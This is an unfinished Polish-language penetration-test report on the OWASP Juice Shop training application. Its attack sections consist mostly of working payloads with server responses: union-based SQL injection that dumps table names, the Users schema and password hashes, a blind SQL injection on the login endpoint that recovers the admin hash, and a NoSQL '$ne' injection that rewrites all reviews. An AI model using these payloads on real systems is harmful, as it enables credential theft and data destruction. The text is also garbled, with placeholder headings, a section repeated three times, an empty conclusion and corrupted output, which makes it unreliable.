

Raport bezpieczeństwa dostarczonej wersji aplikacji Juice Shop

Filip Horst 311257

I. WSTĘP

I wish you the best of success.

A. Wprowadzenie

Co badane

B. Struktura raportu

Jak przedstawiane

C. Metoda badania

Jak badane

D. Narzędzia

Czym badane

II. ATAKI SQL INJECTION

A. Wydobywanie haseł użytkowników (Podstawowe SQL Injection)

Atak miał na celu wykorzystanie SQL Injection do wydobywania haseł użytkowników z bazy danych sklepu.

Schemat ogólny ataku:

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/rest/products/?q=apple')) union select 1,2,3,4,5,6,7,8, group_concat(tbl_name) from sqlite_master where type='table' and tbl_name not like 'sqlite_%'--	-	-	-	200 { "status": "success", "data": [{ "id": 1, "name": 2, "description": 3, "price": 4, "deluxePrice": 5, "image": 6, "createdAt": 7, "updatedAt": 8, "deletedAt": "Users, Addresses..."

Główną zmienną jest tutaj parametr Query String o nazwie q, który dla tej końcówki pozwala na dostęp do bazy danych.

Atak został podzielony na trzy etapy:

- Zdobywanie informacji o bazie

- Parametr/zapytanie

```
?q=apple')) union select 1,2,3,4,5,6,7,8,group_concat(tbl_name) from sqlite_master where  
type='table' and tbl_name not like 'sqlite_%'--
```

- Odpowiedź serwera

```
['Users', 'Addresses', 'Baskets', 'Products', 'BasketItems', 'Captchas', 'Cardsedbacks',  
'ImageCaptchas', 'Memories', 'PrivacyRequests', 'Quantities', 'Recyclllets']
```

Odpowiedź zawiera listę tabel niesystemowych, dzięki czemu wiadomo jak nazywa się tabela zawierająca potencjalnie wartościowe dane. Ten atak wykorzystuje już wcześniej znaną informację o wersji bazy aplikacji. Bez takiej wiedzy należało by to zbadać stosując np. charakterystyczne funkcje różnych implementacji baz danych

- Zdobywanie informacji o tabeli

- Parametr/zapytanie

```
?q=apple')) union select 1,2,3,4,5,6,7,8,group_concat(sql) from sqlite_master where type  
='table' and tbl_name like 'Users%'--
```

- Odpowiedź serwera

```
CREATE TABLE `Users` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR `
password` VARCHAR(255), `role` VARCHAR(255) DEFAULT 'customer', `deluxeToken` 55)
DEFAULT '0.0.0.0', `profileImage` VARCHAR(255) DEFAULT '/assets/public/imag5)
DEFAULT '', `isActive` TINYINT(1) DEFAULT 1, `createdAt` DATETIME NOT NULL, IME)
```

Odpowiedź zwraca kod SQL tworzący tabelę, z którego łatwo wywnioskować jakie kolumny zawiera

- Pobranie danych użytkowników

- Parametr/zapytanie

```
?q=apple')) union select 1,2,3,4,5,6,group_concat(username),group_concat(email),
group_concat(password) from users;--
```

- Odpowiedź serwera

```
[(' ', 'admin@juice-sh.op',
'240be518fabd2724ddb6f04eeb1da5967448d7e831c08c8fa822809f74c720a9'),
(' ', 'jim@juice-sh.op',
'c534541702f7e186e3520e8e929c1b9c19b3afc7be14adc5491a64a7563e963c'), ...
```

Proste wykonanie ataku z wykorzystaniem wydobytej wcześniej wiedzy pozwala na pobranie hashy haseł użytkowników w celu wykonania szybszych, ukrytych ataków lokalnych

APLIKACJA PODATNA NA SQL INJECTION

B. Wydobywanie hasha znanego użytkownika (Blind SQL Injection)

Celem ataku był endpoint służący do logowania. Wykorzystywanym bitem informacji było zalogowanie, bądź jego brak w zależności od dodatkowego warunku wstawionego w pole email. Warunek ten sprawdzał, czy znak na danej pozycji hashu hasła jest równy np. "2". Jeśli to była prawda dochodziło do zalogowania, natomiast w przeciwnym wypadku zwracany był błąd 401 Invalid email or password. Ten atak wykorzystuje inną podatność jaką jest brak zabezpieczeń przed SQL Injection na tym endpointzie.

Atak został przeprowadzony z użyciem prostego skryptu, który iteracyjnie sprawdzał kolejne znaki na kolejnych pozycjach, aż do uzyskania pełnego hashu.

W tabeli zawarty został przykład sprawdzający, czy pierwszy znak (odpowiada za to drugi argument funkcji substr) hashu jest równy "2".

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/rest/user/login	-	-	{ "email": "admin@juice-sh.op" and substr(password,1,1)='2' - ", "password": "" }	200 + TOKEN

Przykład zakończył się logowaniem, czyli skrypt zapisywał znak "2" jako poprawny i przechodził do kolejnej pozycji, aż do napotkania pozycji dla której żaden znak z listy nie był właściwy (czyli hash się skończył). Wykonanie skryptu pozwoliło na pobranie wartości hashu hasła administratora:

240be518fabd2724ddb6f04eeb1da5967448d7e831c08c8fa822809f74c720a9

APLIKACJA PODATNA NA BLIND SQL INJECTION

C. Masowa modyfikacja opinii (NoSQL Injection)

Atak polegał na modyfikacji wszystkich opinii zawartych w bazie danych sklepu jednym zapytaniem. W tym celu wykorzystany został endpoint /rest/products/reviews, który współpracuje z bazą NoSQL (jest to wcześniej posiadana wiedza - bez niej należało by testować endpointy charakterystycznymi funkcjami nosql (np. \$eq, \$neq) w danych lub zdobyć tę wiedzę w inny sposób). Z powodu braku zabezpieczeń pole id mogło zostać zamienione na wyszukanie wszystkich opinii, których id nie jest równe pustemu ciągowi znaków (czyli wszystkich). W przeciwieństwie do funkcji polubienia, aktualizacja działa na wiele dokumentów jednocześnie, co ułatwia atak.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
PATCH	/rest/products/reviews	Authentication: Bearer TOKEN	token: TOKEN	{ "id":{"\$ne":"" }, "message":"I am silly" }	{ "modified":30,"original": [{"message":"I am silly2", "author": "mc.safesearch@juice-sh.op", "product":36, 200 "likesCount":8, "likedBy":["filip@mail.com"], "_id":"2owc86xGahDSdmfvJ"}, {"message":"I am silly2", "author":"bjoern@owasp.org", "product":44... }

Wynik dowodzi, że zmodyfikowana została duża liczba opini ("modified": 30). Skutkiem zapytania jest więc stosunkowo poważne zniszczenie bazy danych opini.

APLIKACJA PODATNA NA NO SQL INJECTION

III. MANIPULACJE TOKENAMI

A. Wysłanie tokena bez podpisu

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/rest/chatbot/respond	Authentication: Bearer TOKEN	token: TOKEN	{ "action":"setname", "query":"Carl" }	401 {"error":"Unauthenticated user"}

IV. MANIPULACJE TOKENAMI

A. Wysłanie tokena bez podpisu

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/rest/chatbot/respond	Authentication: Bearer TOKEN	token: TOKEN	{ "action":"setname", "query":"Carl" }	401 {"error":"Unauthenticated user"}

V. MANIPULACJE TOKENAMI

A. Wysłanie tokena bez podpisu

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/rest/chatbot/respond	Authentication: Bearer TOKEN	token: TOKEN	{ "action":"setname", "query":"Carl" }	401 {"error":"Unauthenticated user"}

VI. PODSUMOWANIE I WNIOSKI

The conclusion goes here.